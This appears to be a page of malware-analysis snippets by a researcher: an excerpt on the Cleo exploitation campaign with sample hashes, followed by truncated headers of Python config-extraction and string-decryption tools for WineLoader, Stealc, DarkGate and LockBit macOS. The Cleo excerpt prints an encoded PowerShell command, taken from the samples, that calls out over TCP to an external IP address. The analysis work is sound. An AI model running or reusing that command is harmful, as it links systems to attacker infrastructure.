X-Junior

Exploit ref : https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild
Initial VirusTotal hunting revealed the following samples with no redactions:

b103f708e85416fc6d7af9605da4b57b3abe42fb9c6c9ec0f539b4c877580bd2
418e4fa576e85096ac4f84f990b491cbe0e9a0367b9335c6c2d661afa426d48a

Within these samples there is an encoded PowerShell commands.

cmd.exe /c "powershell -NonInteractive -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAIgA4ADkALgAyADQAOAAuADEANwAyAC4AMQAzADkAIgAsACAANAA0ADMAKQAKACQAcwA9ACQAYwAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQAKACQAcwAuAFIAZQBhAGQAVABpAG0AZQBvAHUAdAA9ADEAMAAwADAAMAAKACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFcAcgBpAHQAZQByACAAJABzAAoAJAB3AC4AVwByAGkAdABlAEwAaQBuAGUAKAAiAFQATABTACAAdgAzACAANQB3AHoAZABEAHMARABjAFUAeQBvAFUARgBmAC0AXwB2AFgAVgAwAGEAMABJAGgAcgB6AFAAbgBQAGUAYQBoAG0AUQAzADUAUQBZAGoAZQBKAGsAWQAiACkACgAkAHcALgBGAGwAdQBzAGgAKAApAA

X-Junior

from Crypto.Cipher import ARC4
from capstone import *
from capstone.x86 import *
import pefile , sys , os

'''
Author: Mohamed Ashraf (@X__Junior)
make sure you are passing wineloader and not the loader of wineloader, if you suspect it's the loader then use https://raw.githubusercontent.com/tccontre/KnowledgeBase/main/malware_re_tools/wineloader_dll_side_load/wineloader_extractor.py , to extract the shellcode
tested samples:
27c0935a22862475bb3fd516f93bd466f8021f77727e83f53d67d76978b439ee

X-Junior

import struct , pefile , os , sys

'''
Author: Mohamed Ashraf (@X__Junior)

tested samples:
03e0ca10cbf06f45fefd102dc8e42665729d8891e047348dea7dcceb9b5559cc
063d6865a097b0a674b3cfa483ef6e8d87bda0b46234dc916e8cb62ae14e1a69
09a4a3eeb7d9ff6b2bcaf85f163b6efa43c3723373bf038edc25142335b4c5d7
1bed9c089a3c1dd81a17834827129022f8cf417e86e6f9f15bd43ed3ac62e303

X-Junior

import struct , sys , pefile , validators , re , base64
from capstone import *
from capstone.x86 import *

'''
Author: Mohamed Ashraf (@X__Junior)

Usage:
python3 Statc_Stealer.py path_to_sample
'''

X-Junior

import sys , pefile , validators , re , base64
'''
Author: Mohamed Ashraf (@X__Junior)

Usage:
python3 darkgate.py path_to_sample
'''

def is_ascii(s):
    return all(ord(c) < 128 or ord(c) == 0 for c in s)

X-Junior

'''
Author: Mohamed Ashraf (@X__Junior)

tested samples:
0be6f1e927f973df35dad6fc661048236d46879ad59f824233d757ec6e722bde
3e4bbd21756ae30c24ff7d6942656be024139f8180b7bddd4e5c62a9dfbd8c79

usage:
python3 lockbit_macos_string_decryption.py sample.bin
'''